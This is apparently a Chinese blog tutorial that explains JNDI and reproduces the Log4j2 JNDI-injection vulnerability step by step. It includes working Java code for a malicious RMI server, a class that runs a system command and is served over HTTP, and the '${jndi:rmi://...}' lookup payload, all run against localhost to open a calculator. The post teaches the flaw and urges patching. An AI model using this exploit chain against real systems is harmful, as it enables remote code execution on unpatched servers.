背景

最近互联网技术圈最火的一件事莫过于Log4j2的漏洞了。同时也涌现出了各类分析文章,关于漏洞的版本、漏洞的原因、漏洞的修复、程序员因此加班等等。

经常看我文章的朋友都知道,面对这样热门有意思的技术点,怎能错过深入分析一波呢?大概你也已经听说了,造成漏洞的”罪魁祸首“是JNDI,今天我们就聊它。

JNDI,好熟悉,但……熟悉的陌生人?JNDI到底是个什么鬼?好吧,如果你已经有一两年的编程经验,但还不了解JNDI,甚至没听说过。那么,要么赶紧换工作,要么赶紧读读这篇文章。

JNDI是个什么鬼?

说起JNDI,从事Java EE编程的人应该都在用着,但知不知道自己在用,那就看你对技术的钻研深度了。这次Log4j2曝出漏洞,不正说明大量项目或直接或间接的在用着JNDI。来看看JNDI到底是个什么鬼吧?

先来看看Sun官方的解释:

Java命名和目录接口(Java Naming and Directory Interface ,JNDI)是用于从Java应用程序中访问名称和目录服务的一组API。命名服务即将名称与对象相关联,以便能通过相应名称访问这些对象。而目录服务即其对象具有属性及名称的命名服务。

命名或目录服务允许你集中管理共享信息的存储,这在网络应用程序中很重要,因为它可以使这类应用程序更加一致和易于管理。例如,可以将打印机配置存储在目录服务中,这样所有与打印机相关的应用程序都能够使用它。

概念是不是很抽象,读了好几遍都没懂?一图胜千言:

看着怎么有点注册中心的意思?是的,如果你使用过Nacos或读过Nacos的源码,Naming Service这个概念一定很熟悉。在JNDI中,虽然实现方式不同、应用场景不同,但并不影响你通过类比注册中心的方式来理解JNDI。

如果你说没用过Nacos,那好,Map总用过吧。忽略掉JNDI与Map底层实现的区别,JNDI提供了一个类似Map的绑定功能,然后又提供了基于lookup或search之类的方法来根据名称查找Object,好比Map的get方法。

总之,JNDI就是一个规范,规范就需要对应的API(也就是一些Java类)来实现。通过这组API,可以将Object(对象)和一个名称进行关联,同时提供了基于名称查找Object的途径。

最后,对于JNDI,SUN公司只是提供了一个接口规范,具体由对应的服务器来实现。比如,Tomcat有Tomcat的实现方式,JBoss有JBoss的实现方式,遵守规范就好。

命名服务与目录服务的区别

命名服务就是上面提到的,类似Map的绑定与查找功能。比如:在Internet中的域名服务(domain naming service,DNS),就是提供将域名映射到IP地址的命名服务,在浏览器中输入域名,通过DNS找到相应的IP地址,然后访问网站。

目录服务是对命名服务的扩展,是一种特殊的命名服务,提供了属性与对象的关联和查找。一个目录服务通常拥有一个命名服务(但是一个命名服务不必具有一个目录服务)。比如电话簿就是一个典型的目录服务,一般先在电话簿里找到相关的人名,再找到这个人的电话号码。

目录服务允许属性(比如用户的电子邮件地址)与对象相关联(而命名服务则不然)。这样,使用目录服务时,可以基于对象的属性来搜索它们。

JNDI架构分层

JNDI通常分为三层:

  • JNDI API:用于与Java应用程序与其通信,这一层把应用程序和实际的数据源隔离开来。因此无论应用程序是访问LDAP、RMI、DNS还是其他的目录服务,跟这一层都没有关系。
  • Naming Manager:也就是我们提到的命名服务;
  • JNDI SPI(Server Provider Interface):用于具体到实现的方法上。

整体架构分层如下图:

需要注意的是:JNDI同时提供了应用程序编程接口(Application Programming Interface ,API)和服务提供程序接口(Service Provider Interface ,SPI)。

这样做对于与命名或目录服务交互的应用程序来说,必须存在一个用于该服务的JNDI服务提供程序,这便是JNDI SPI发挥作用的舞台。

一个服务提供程序基本上就是一组类,对特定的命名和目录服务实现了各种JNDI接口——这与JDBC驱动程序针对特定的数据系统实现各种JDBC接口极为相似。作为开发人员,不需要担心JNDI SPI。只需确保为每个要使用的命名或目录服务提供了一个服务提供程序即可。

JNDI的应用

下面再了解一下JNDI容器的概念及应用场景。

JNDI容器环境

JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中。当使用时,调用容器环境(Context)的查找(lookup)方法找出某个名称所绑定的Java对象。

容器环境(Context)本身也是一个Java对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。将一个Context对象绑定到另外一个Context对象中,这就形成了一种父子级联关系,多个Context对象最终可以级联成一种树状结构,树中的每个Context对象中都可以绑定若干个Java对象。

JNDI 应用

JNDI的基本使用操作就是:先创建一个对象,然后放到容器环境中,使用的时候再拿出来。

此时,你是否疑惑,干嘛这么费劲呢?换句话说,这么费劲能带来什么好处呢?

在真实应用中,通常是由系统程序或框架程序先将资源对象绑定到JNDI环境中,后续在该系统或框架中运行的模块程序就可以从JNDI环境中查找这些资源对象了。

关于JDNI与我们实践相结合的一个例子是JDBC的使用。在没有基于JNDI实现时,连接一个数据库通常需要:加载数据库驱动程序、连接数据库、操作数据库、关闭数据库等步骤。而不同的数据库在对上述步骤的实现又有所不同,参数也可能发生变化。

如果把这些问题交由J2EE容器来配置和管理,程序就只需对这些配置和管理进行引用就可以了。

以Tomcat服务器为例,在启动时可以创建一个连接到某种数据库系统的数据源(DataSource)对象,并将该数据源(DataSource)对象绑定到JNDI环境中,以后在这个Tomcat服务器中运行的Servlet和JSP程序就可以从JNDI环境中查询出这个数据源(DataSource)对象进行使用,而不用关心数据源(DataSource)对象是如何创建出来的。

这种方式极大地增强了系统的可维护性,即便当数据库系统的连接参数发生变更时,也与应用程序开发人员无关。 JNDI将一些关键信息放到内存中,可以提高访问效率;通过 JNDI可以达到解耦的目的,让系统更具可维护性和可扩展性。

JNDI实战

有了以上的概念和基础知识,现在可以开始实战了。

在架构图中,JNDI的实现层中包含了多种实现方式,这里就基于其中的RMI实现来写个实例体验一把。

基于RMI的实现

RMI是Java中的远程方法调用,基于Java的序列化和反序列化传递数据。

可以通过如下代码来搭建一个RMI服务:

// ①定义接口
public interface RmiService extends Remote {String sayHello() throws RemoteException;
}// ②接口实现
public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService {protected MyRmiServiceImpl() throws RemoteException {}@Overridepublic String sayHello() throws RemoteException {return "Hello World!";}
}// ③服务绑定并启动监听
public class RmiServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099 端口");registry.bind("hello", new MyRmiServiceImpl());Thread.currentThread().join();}
}

上述代码先定义了一个RmiService的接口,该接口实现了Remote,并对RmiService接口进行了实现。在实现的过程中继承了UnicastRemoteObject的具体服务实现类。

最后,在RmiServer中通过Registry监听1099端口,并将RmiService接口的实现类进行了绑定。

下面构建客户端访问:

public class RmiClient {public static void main(String[] args) throws Exception {Hashtable env = new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL, "rmi://localhost:1099");Context ctx = new InitialContext(env);RmiService service = (RmiService) ctx.lookup("hello");System.out.println(service.sayHello());}
}

其中,提供了两个参数Context.INITIAL_CONTEXT_FACTORYContext.PROVIDER_URL,分别表示Context初始化的工厂方法和提供服务的url。

执行上述程序,就可以获得远程端的对象并调用,这样就实现了RMI的通信。当然,这里Server和Client在同一台机器,就用了”localhost“的,如果是远程服务器,则替换成对应的IP即可。

构建攻击

常规来说,如果要构建攻击,只需伪造一个服务器端,返回恶意的序列化Payload,客户端接收之后触发反序列化。但实际上对返回的类型是有一定的限制的。

在JNDI中,有一个更好利用的方式,涉及到命名引用的概念javax.naming.Reference

如果一些本地实例类过大,可以选择一个远程引用,通过远程调用的方式,引用远程的类。这也就是JNDI利用Payload还会涉及HTTP服务的原因。

RMI服务只会返回一个命名引用,告诉JNDI应用该如何去寻找这个类,然后应用则会去HTTP服务下找到对应类的class文件并加载。此时,只要将恶意代码写入static方法中,则会在类加载时被执行。

基本流程如下:

修改RmiServer的代码实现:

public class RmiServer {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Registry registry = LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099 端口");Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("hello", referenceWrapper);Thread.currentThread().join();}
}

由于采用的Java版本较高,需先将系统变量com.sun.jndi.rmi.object.trustURLCodebase设置为true。

其中绑定的Reference涉及三个变量:

  • className:远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载;
  • classFactory:远程的工厂类;
  • classFactoryLocation:工厂类加载的地址,可以是file://、ftp://、http:// 等协议;

此时,通过Python启动一个简单的HTTP监听服务:

192:~ zzs$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

打印日志,说明在8000端口进行了http的监听。

对应的客户端代码修改为如下:

public class RmiClient {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Hashtable env = new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL, "rmi://localhost:1099");Context ctx = new InitialContext(env);ctx.lookup("hello");}
}

执行,客户端代码,发现Python监听的服务打印如下:

127.0.0.1 - - [12/Dec/2021 16:19:40] code 404, message File not found
127.0.0.1 - - [12/Dec/2021 16:19:40] "GET /Calc.class HTTP/1.1" 404 -

可见,客户端已经去远程加载恶意class(Calc.class)文件了,只不过Python服务并没有返回对应的结果而已。

进一步改造

上述代码证明了可以通过RMI的形式进行攻击,下面基于上述代码和Spring Boot Web服务的形式进一步演示。通过JNDI注入+RMI的形式调用起本地的计算器。

上述的基础代码不变,后续只微调RmiServer和RmiClient类,同时添加一些新的类和方法。

第一步:构建攻击类

创建一个攻击类BugFinder,用于启动本地的计算器:

public class BugFinder {public BugFinder() {try {System.out.println("执行漏洞代码");String[] commands = {"open", "/System/Applications/Calculator.app"};Process pc = Runtime.getRuntime().exec(commands);pc.waitFor();System.out.println("完成执行漏洞代码");} catch (Exception e) {e.printStackTrace();}}public static void main(String[] args) {BugFinder bugFinder = new BugFinder();}}

本人是Mac操作系统,代码中就基于Mac的命令实现方式,通过Java命令调用Calculator.app。同时,当该类被初始化时,会执行启动计算器的命令。

将上述代码进行编译,存放在一个位置,这里单独copy出来放在了”/Users/zzs/temp/BugFinder.class“路径,以备后用,这就是攻击的恶意代码了。

第二步:构建Web服务器

Web服务用于RMI调用时返回攻击类文件。这里采用Spring Boot项目,核心实现代码如下:

@RestController
public class ClassController {@GetMapping(value = "/BugFinder.class")public void getClass(HttpServletResponse response) {String file = "/Users/zzs/temp/BugFinder.class";FileInputStream inputStream = null;OutputStream os = null;try {inputStream = new FileInputStream(file);byte[] data = new byte[inputStream.available()];inputStream.read(data);os = response.getOutputStream();os.write(data);os.flush();} catch (Exception e) {e.printStackTrace();} finally {// 省略流的判断关闭;}}
}

在该Web服务中,会读取BugFinder.class文件,并返回给RMI服务。重点提供了一个Web服务,能够返回一个可执行的class文件。

第三步:修改RmiServer

对RmiServer的绑定做一个修改:

public class RmiServer {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Registry registry = LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099 端口");Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", "http://127.0.0.1:8080/BugFinder.class");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("hello", referenceWrapper);Thread.currentThread().join();}
}

这里Reference传入的参数就是攻击类及远程下载的Web地址。

第四步:执行客户端代码

执行客户端代码进行访问:

public class RmiClient {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Hashtable env = new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL, "rmi://localhost:1099");Context ctx = new InitialContext(env);ctx.lookup("hello");}
}

本地计算器被打开:

基于Log4j2的攻击

上面演示了基本的攻击模式,基于上述模式,我们再来看看Log4j2的漏洞攻击。

在Spring Boot项目中引入了log4j2的受影响版本:

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><exclusions><!-- 去掉springboot默认配置 --><exclusion><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-logging</artifactId></exclusion></exclusions>
</dependency><dependency> <!-- 引入log4j2依赖 --><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>

这里需要注意,先排除掉Spring Boot默认的日志,否则可能无法复现Bug。

修改一下RMI的Server代码:

public class RmiServer {public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");Registry registry = LocateRegistry.createRegistry(1099);System.out.println("RMI启动,监听:1099 端口");Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", null);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("hello", referenceWrapper);Thread.currentThread().join();}
}

这里直接访问BugFinder,JNDI绑定名称为:hello。

客户端引入Log4j2的API,然后记录日志:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class RmiClient {private static final Logger logger = LogManager.getLogger(RmiClient.class);public static void main(String[] args) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");logger.error("${jndi:rmi://127.0.0.1:1099/hello}");Thread.sleep(5000);}
}

日志中记录的信息为“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMI Server的地址和绑定的名称。

执行程序,发现计算器被成功打开。

当然,在实际应用中,logger.error中记录的日志信息,可能是通过参数获得,比如在Spring Boot中定义如下代码:

@RestController
public class Log4jController {private static final Logger logger = LogManager.getLogger(Log4jController.class);/*** 方便测试,用了get请求* @param username 登录名称*/@GetMapping("/a")public void log4j(String username){System.out.println(username);// 打印登录名称logger.info(username);}
}

在浏览器中请求URL为:

http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D

其中username参数的值就是“${jndi:rmi://127.0.0.1:1099/hello}”经过URLEncoder#encode编码之后的值。此时,访问该URL地址,同样可以将打开计算器。

至于Log4j2内部逻辑漏洞触发JNDI调用的部分就不再展开了,感兴趣的朋友在上述实例上进行debug即可看到完整的调用链路。

小结

本篇文章通过对Log4j2漏洞的分析,不仅带大家了解了JNDI的基础知识,而且完美重现了一次基于JNDI的工具。本文涉及到的代码都是本人亲自实验过的,强烈建议大家也跑一遍代码,真切感受一下如何实现攻击逻辑。

JNDI注入事件不仅在Log4j2中发生过,而且在大量其他框架中也有出现。虽然JDNI为我们带来了便利,但同时也带了风险。不过在实例中大家也看到在JDK的高版本中,不进行特殊设置(com.sun.jndi.rmi.object.trustURLCodebase设置为true),还是无法触发漏洞的。这样也多少让人放心一些。

另外,如果你的系统中真的出现此漏洞,强烈建议马上修复。在此漏洞未被报道之前,可能只有少数人知道。一旦众人皆知,跃跃欲试的人就多了,赶紧防护起来吧。

博主简介:《SpringBoot技术内幕》技术图书作者,酷爱钻研技术,写技术干货文章。

公众号:「程序新视界」,博主的公众号,欢迎关注~

技术交流:请联系博主微信号:zhuan2quan


程序新视界”,一个100%技术干货的公众号


Log4j史诗级漏洞,从原理到实战,只用3个实例讲明白相关推荐

  1. Log4j史诗级漏洞,我们这些小公司能做些什么?

    事件背景 12月10日,看到朋友圈中已经有人在通宵修改.上线系统了.随即,又看到阿里云安全.腾讯安全部门发出的官方报告:"Apache Log4j2存在远程代码执行漏洞",且漏洞已 ...

  2. 紧急!Log4j 史诗级漏洞来袭,已引起大规模入侵,速速自查!

    1.漏洞简介 Apache Log4j 2是一款优秀的Java日志框架.该工具重写了Log4j框架,并且引入了大量丰富的特性.该日志框架被大量用于业务系统开发,用来记录日志信息.由于Apache Lo ...

  3. 目标检测算法模型YOLOV3原理及其实战 课程简介

    前言 在移植目标检测算法模型到海思AI引擎上运行的过程中,深切感受到理解和掌握算法模型原理的重要性. 基于此,我出了一门专门来讲目标检测算法模型原理及实战的课程.虽然讲的是YOLOV3模型,但是对理解 ...

  4. 史诗级漏洞爆发,Log4j 背后的开源人何去何从?

    近年来,开源热潮席卷全球,纵观全球信息产业,更是呈现"得开源者得生态,得开源者得天下"的态势.在此趋势下,众多互联网企业争相拥抱开源,"开源"一词被推上了前所未 ...

  5. Log4j 2漏洞(CVE-2021-44228)的快速响应

    简介 2021 年 12 月 9 日,在Log4j的 GitHub 上公开披露了一个影响多个版本的 Apache Log4j 2 实用程序的高严重性漏洞 CVE-2021-44228.CVSSv3 1 ...

  6. 推特惊爆史诗级漏洞,App 恶意窃取用户隐私,云端安全路向何方?

    作者 | 马超 来源 | CSDN(ID:CSDNnews) 近日,全球安全事件频发,先是推特惊爆史诗级漏洞,黑客对推特进行比特币钓鱼骗局,获取了对包括美国前总统奥巴马.钢铁侠埃隆·马斯克.和世界首富 ...

  7. 编译器 LLVM Clang原理与实战 制作自己的编译器 source-to-source 源代码转换 编译遍 compile pass 代码插桩

    编译器 LLVM Clang原理与实战 参考1 clang LLVM CMU 教案 深入剖析-iOS-编译-Clang-LLVM LLVM_proj LLVM编程索引 llvm源码浏览带跳转 llvm ...

  8. 读书笔记-SpringCloudAlibaba微服务原理与实战-谭锋-【未完待续】

    SpringCloudAlibaba微服务原理与实战 谭锋 电子工业出版社 ISBN-9787121388248 仅供参考, 自建索引, 以备后查 一.应用架构演进.微服务发展史 1.单体架构 一般来 ...

  9. 关于Log4j高危漏洞的反思

    你用Log4j 吐了吗? 反正我是吐了一个月了. 2021年11月份底,log4j官网发布了log4j的漏洞,消息一出,整个IT互联网行业几乎都是后院着火.漏洞的原理很简单,但是其危害相当于把服务器变 ...

  10. 深度学习Anchor Boxes原理与实战技术

    深度学习Anchor Boxes原理与实战技术 目标检测算法通常对输入图像中的大量区域进行采样,判断这些区域是否包含感兴趣的目标,并调整这些区域的边缘,以便更准确地预测目标的地面真实边界框.不同的模型 ...

最新文章

  1. scala学习之数组操作
  2. 检查单 2015-05-15-01
  3. 11组软件工程组队项目失物招领系统——进度汇报和下周目标
  4. 普罗米修斯笔记:初识Prometheus
  5. 深度学习:向人工智能迈进
  6. ZAM 3D入门教程(3):Viewport
  7. ajax给data赋值,vue 2.0 methods 里ajax生成的数据,怎么赋值给data
  8. 如何改善虚幻引擎中的游戏线程CPU性能表现
  9. java query包,有没有Java的http_build_query函数的Java等价物?
  10. ffmpeg运行在服务器上,FFMPEG安装在服务器上
  11. ubuntu jdk tomcat mysql_linux-ubuntu tomcat jdk 及 mysql 安装配置
  12. Araxis Merge pro for mac(文件对比合并同步工具)
  13. Android tftp服务器,Ubuntu下配置TFTP服务以及 android下使用TFTP
  14. 投稿状态(status)记录 IEEE wireless communications letters (IEEE WCL)
  15. 达梦数据库DM8支持Seata事务框架
  16. unity设置中文版
  17. 悠悠岁月,匆匆2014
  18. 强力推荐90个优秀外国英文网站
  19. arm cache ace chi
  20. Windows下安装PyQt(python3.8+PyQt5)

热门文章

  1. 2019全球IT行业薪酬报告:平均年薪超70万!最高薪职位竟是...
  2. 微信公众号排版指南(全)
  3. environment-modules安装配置
  4. android粘贴,Android复制粘贴到剪贴板
  5. 抓取lol全英雄图(不含皮肤)
  6. 【Verilog】基于FPGA的打地鼠小游戏设计(VGA显示、附代码、演示视频)
  7. 自动刷乐乎邀请码脚本
  8. 【转载:80个Python经典资料(教程+源码+工具)汇总】
  9. php 0x80070005,PHPIIS0x80070005解决方法
  10. 法语计算机相关书籍,法语网络计算机相关词汇